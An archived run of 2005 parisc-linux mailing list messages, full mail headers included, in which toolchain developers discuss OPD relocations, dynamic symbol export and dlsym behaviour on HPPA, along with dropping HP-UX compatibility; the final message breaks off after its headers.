Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Tue, 21 Jun 2005 10:14:31 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20050621161431.GA16368__5991.81873626566$1416623809$gmane$org@colo.lackof.org>
References: <20050621024438.GP5269@systemhalted.org>
	<200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623809 14922 80.91.229.3 (22 Nov 2014 02:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:49 +0000 (UTC)
Cc: hjl@lucon.org,
 Carlos O'Donell <carlos@systemhalted.org>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 16:10:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 21 Jun 2005 18:10:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E3DA7D71C;
	Tue, 21 Jun 2005 10:10:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17169-07; Tue, 21 Jun 2005 10:10:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 525097D71D;
	Tue, 21 Jun 2005 10:10:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 737027D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:10:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17169-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:10:32 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EB8657D717
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:10:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DF8DA29804C;
	Tue, 21 Jun 2005 10:14:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17368-06; Tue, 21 Jun 2005 10:14:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 89893298034; Tue, 21 Jun 2005 10:14:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qF7KYlBceSEkU76WZHQhaXN1IGRvbwDC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22794

On Tue, Jun 21, 2005 at 11:21:58AM -0400, John David Anglin wrote:
> >From my standpoint, I would like to see the same behavior for both
> 32 and 64-bit links when hppa linux supports both 32 and 64-bit 
> user spaces.

Yeah, that would make sense.

>   The original linux implementation was modelled on hpux
> but over the years we have found that hpux compatibility isn't
> important.

When I first got involved in parisc-linux in 1999, there was
an interest in commercializing parisc-linux. That would
mean investing several million dollars per year on a team
to support/test parisc-linux *and* compatibility (where possible)
with hpux so customers could run smaller apps on both.
HP chose not to do that (it was a very rational decision
though personally disappointing).  parisc-linux did not get
commercialized and the developer community around parisc-linux
is not interested in HPUX compatibility.

If someone is interested in HPUX application compatibility,
they better start providing parisc-linux kernel patches this year.
An ABI compatibility event in the tool chain would be sufficient
reason for me to rip out the broken HPUX compatibility
support currently in the parisc-linux source tree.
So far, I've lobbied to keep HPUX app support in the tree with
the hope we could someday run the HPUX X11 server (3D HW Accel!).
But the right people haven't volunteered to make that work.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
Date: Tue, 21 Jun 2005 16:26:46 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200506212026.j5LKQk6m013156__25255.5892606781$1416623809$gmane$org@hiauly1.hia.nrc.ca>
References: <jeekavhet4.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623809 14923 80.91.229.3 (22 Nov 2014 02:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:49 +0000 (UTC)
Cc: hjl@lucon.org,
 carlos@systemhalted.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: schwab@suse.de (Andreas Schwab)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 20:27:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 21 Jun 2005 22:27:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CD6F7D71A;
	Tue, 21 Jun 2005 14:26:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18369-05; Tue, 21 Jun 2005 14:26:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAF327D71B;
	Tue, 21 Jun 2005 14:26:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D18117D716
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 14:26:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18096-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 14:26:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB7C7D712
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 14:26:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5LKQlnV013157; Tue, 21 Jun 2005 16:26:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5LKQk6m013156;
	Tue, 21 Jun 2005 16:26:46 -0400 (EDT)
In-Reply-To: <jeekavhet4.fsf@sykes.suse.de> from "Andreas Schwab" at Jun 21,
	2005 06:09:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QB3KYptUeSEkf76WZHQhaXN1IGRvb0Aa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22795

> "John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
> 
> > Having the PLABEL32 relocation resolve to an OPD appears to require
> > that the symbol be exported.  As a result, we have a different behaviors
> > for dlsym on hppa and ia32.  What's ia64 do?
> 
> hppa needs to be fixed to implement correct variants of the macros in
> dl-lookupcfg.h.  It probably just has to copy the definitions of
> DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
> _dl_runtime_{resolve,profile} has to be adapted accordingly.

There could be problems here but it seems that hppa is exporting
all global symbols in .dynsym.

Regarding the patch, I'm not sure why but it seems to result in
more R_PARISC_NONE dynamic relocation records (one for each real
dynamic relocation?).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
Date: Wed, 22 Jun 2005 06:38:28 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20050622133828.GA2180__30287.6771813773$1416623810$gmane$org@lucon.org>
References: <jeekavhet4.fsf@sykes.suse.de>
	<200506212026.j5LKQk6m013156@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623810 14928 80.91.229.3 (22 Nov 2014 02:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:50 +0000 (UTC)
Cc: Andreas Schwab <schwab@suse.de>,
 carlos@systemhalted.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 13:38:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 22 Jun 2005 15:38:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4A787D71A;
	Wed, 22 Jun 2005 07:38:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23759-06; Wed, 22 Jun 2005 07:38:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC0BD7D71B;
	Wed, 22 Jun 2005 07:38:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 394117D714
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:38:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23673-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:38:30 -0600 (MDT)
Original-Received: from smtp805.mail.sc5.yahoo.com (smtp805.mail.sc5.yahoo.com
	[66.163.168.184])
	by free.linux.hp.com (Postfix) with SMTP id 8E3FA7D711
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:38:30 -0600 (MDT)
Original-Received: (qmail 79234 invoked from network); 22 Jun 2005 13:38:29 -0000
Original-Received: from unknown (HELO lucon.org) (hjjean@sbcglobal.net@69.232.224.125
	with login)
	by smtp805.mail.sc5.yahoo.com with SMTP; 22 Jun 2005 13:38:29 -0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id B528464272; Wed, 22 Jun 2005 06:38:28 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200506212026.j5LKQk6m013156@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iQzLYuhleSEkZr6WZHQhaXN1IGRvb0Ba
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22796

On Tue, Jun 21, 2005 at 04:26:46PM -0400, John David Anglin wrote:
> > "John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
> > 
> > > Having the PLABEL32 relocation resolve to an OPD appears to require
> > > that the symbol be exported.  As a result, we have a different behaviors
> > > for dlsym on hppa and ia32.  What's ia64 do?
> > 
> > hppa needs to be fixed to implement correct variants of the macros in
> > dl-lookupcfg.h.  It probably just has to copy the definitions of
> > DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
> > _dl_runtime_{resolve,profile} has to be adapted accordingly.
> 
> There could be problems here but it seems that hppa is exporting
> all global symbols in .dynsym.

Why does hppa do that? A global symbol in executable should be exported
only if it is referenced by a DSO or --export-dynamic is used.

> 
> Regarding the patch, I'm not sure why but it seems to result in
> more R_PARISC_NONE dynamic relocation records (one for each real
> dynamic relocation?).
> 

IA64 also uses function descriptors. Everything works fine.


H.J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Wed, 22 Jun 2005 06:51:44 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20050622135144.GB2180__6092.02256096086$1416623810$gmane$org@lucon.org>
References: <20050620191501.GA31614@lucon.org>
	<200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
	<20050620204056.GA351@lucon.org>
	<20050620212913.GL5269@systemhalted.org>
	<20050620224610.GA2198@lucon.org>
	<20050621024438.GP5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623810 14933 80.91.229.3 (22 Nov 2014 02:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 13:51:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 22 Jun 2005 15:51:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 291D47D66B;
	Wed, 22 Jun 2005 07:51:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23855-10; Wed, 22 Jun 2005 07:51:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E76C7D6C9;
	Wed, 22 Jun 2005 07:51:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5F097D661
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:51:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23855-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:51:46 -0600 (MDT)
Original-Received: from smtp829.mail.sc5.yahoo.com (smtp829.mail.sc5.yahoo.com
	[66.163.171.16])
	by free.linux.hp.com (Postfix) with SMTP id 3E22A7D641
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 07:51:46 -0600 (MDT)
Original-Received: (qmail 16468 invoked from network); 22 Jun 2005 13:51:45 -0000
Original-Received: from unknown (HELO lucon.org) (hjjean@sbcglobal.net@69.232.224.125
	with login)
	by smtp829.mail.sc5.yahoo.com with SMTP; 22 Jun 2005 13:51:45 -0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id B7B0964272; Wed, 22 Jun 2005 06:51:44 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050621024438.GP5269@systemhalted.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qwnLYhJ/eSEkO76WZHQhaXN1IGRvb0DO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22797

On Mon, Jun 20, 2005 at 10:44:40PM -0400, Carlos O'Donell wrote:
> On Mon, Jun 20, 2005 at 03:46:10PM -0700, H. J. Lu wrote:
> > > Regardless of wether or not I export all global symbols in main, I must
> > > still emit OPD relocs in the executable for all dynamic symbols. In the
> > 						^^^^^^^^^^
> > 
> > Did you mean dynamic or global? There is a big difference. In your
> > proposal, you said "We want to generate a PLABEL32 (OPD reloc) against
> > all global symbols,". I am not familiar with HPPA. I just want to know
> > what you have in mind.
> 
> Sorry for being sloppy, there is a qualifier in my mind that I keep
> forgetting to write, read the following:
> 
> ld must emit an OPD reloc in the executable for each global symbol that
> had an OPD reloc to begin with. This way the dynamic loader can assign
> an OPD at runtime for use in a comparison. Dynamic symbols that had an
> OPD reloc should also emit the reloc in the executable.
> 
> Previously an executable just pointed the OPD data word for global and 
> dynamic symbols at their associated .plt entries (since .plt entries
> like on ia64 are function descriptors). No OPD reloc emitted. Thus the
> address of the OPD was really the address of the .plt entry.
> 
> This meant that if you passed the address of a dynamic symbol to a shared
> library function, from which the symbol came from, the two addresses
> would be different. One would point to the executables .plt entry for
> that dynamic symbol, while the shared library would have an OPD for that
> symbol. The ip/gp of both would be the same though (after resolution of
> the .plt that is).
> 
> The shared case in hppa was always different, and a DSO has always
> created OPD relocs against symbols that started with OPD relocs.
>  
> > > past the OPD reloc was "fudged" and pointed at the PLT, and this is not
> > > a satisfactory situation. I want ld.so.1 to generate the OPD so we no
> > > longer need gcc to emit the __cffc helper function for comparisons.
> 
> Calling through the .plt is still faster than calling through an OPD.
> You can still call through an OPD using $dyncall in hppa.
> Thus we probably want to keep the .plt entry even though we are creating
> an OPD that could be used to call through.
> 

Check out SYMBOL_REFERENCES_LOCAL, SYMBOL_CALLS_LOCAL,
elfNN_ia64_dynamic_symbol_p and _bfd_elf_dynamic_symbol_p.



H.J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 22 Jun 2005 19:54:54 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <42B9C20E.3090409@tiscali.be>
References: <200503242133.j2OLXl4R020985@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623810 14940 80.91.229.3 (22 Nov 2014 02:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 19:55:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 22 Jun 2005 21:55:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECF227D69A;
	Wed, 22 Jun 2005 13:54:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25900-09; Wed, 22 Jun 2005 13:54:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0F377D69D;
	Wed, 22 Jun 2005 13:54:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7F8B7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 13:54:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25900-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 13:54:54 -0600 (MDT)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 567967D695
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 13:54:54 -0600 (MDT)
Original-Received: from [213.49.175.25] (helo=[213.49.175.25])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DlBBu-0002pv-0J; Wed, 22 Jun 2005 21:47:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <200503242133.j2OLXl4R020985@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
